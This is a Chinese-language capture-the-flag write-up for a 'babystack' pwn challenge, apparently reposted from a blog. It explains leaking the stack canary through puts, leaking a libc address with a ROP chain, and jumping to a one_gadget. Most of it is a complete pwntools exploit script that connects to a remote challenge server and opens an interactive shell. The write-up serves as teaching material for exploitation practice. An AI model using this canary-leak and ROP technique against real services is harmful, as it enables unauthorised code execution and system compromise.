[攻防世界]pwn1

给出了libc.so 应该是计算偏移

图上说明的很清楚了

通过case1,覆盖到标志位,就可以通过case2 把表示位puts出来

因为标志位最后两位一定是\x00 而puts会把\x00当作回车'\n'输出 这方便我们recv的定位

泄露出标志位,通过case3 就可以常规溢出了

这里用到一个很方便的新东西 one_gadget

这玩意可以直接给你把运行shell的代码地址找出来

比如这样

这也是libc里面的地址 仍然需要base地址计算真实地址

每次遇到要recv需要的东西的时候一定要确保接下来输出就是自己需要recv的东西

from pwn import *
# io=process('./babystack')
io=remote('111.198.29.45',54771)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')

io.sendlineafter('>> ','1')
payload='A'*0x88
io.sendline(payload)

io.sendlineafter('>> ','2')
io.recvuntil('A'*0x88+'\n')
canary=u64(io.recv(7).rjust(8,'\x00'))
print 'canary:'+hex(canary)
rdi_pop=0x400a93
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400908
payload='a'*(0x88)+p64(canary)+'a'*8
payload+=p64(rdi_pop)+p64(puts_got)
payload+=p64(puts_plt)+p64(main_addr)
io.sendlineafter('>> ','1')
io.sendline(payload)
io.recv()
io.sendlineafter('>> ','3')
puts_addr=u64(io.recv(8).ljust(8,'\x00'))
print 'puts_addr:'+hex(puts_addr)
base=puts_addr-libc.symbols['puts']
one_gadget_addr=base+0x45216

io.sendlineafter('>> ','1')
payload='a'*(0x88)+p64(canary)+'a'*8+p64(one_gadget_addr)
io.sendline(payload)
io.sendlineafter('>> ','3')
print "end"
io.interactive()

#rdi, rsi, rdx, rcx, r8, r9

猜你喜欢

转载自www.cnblogs.com/lxy8584099/p/11887235.html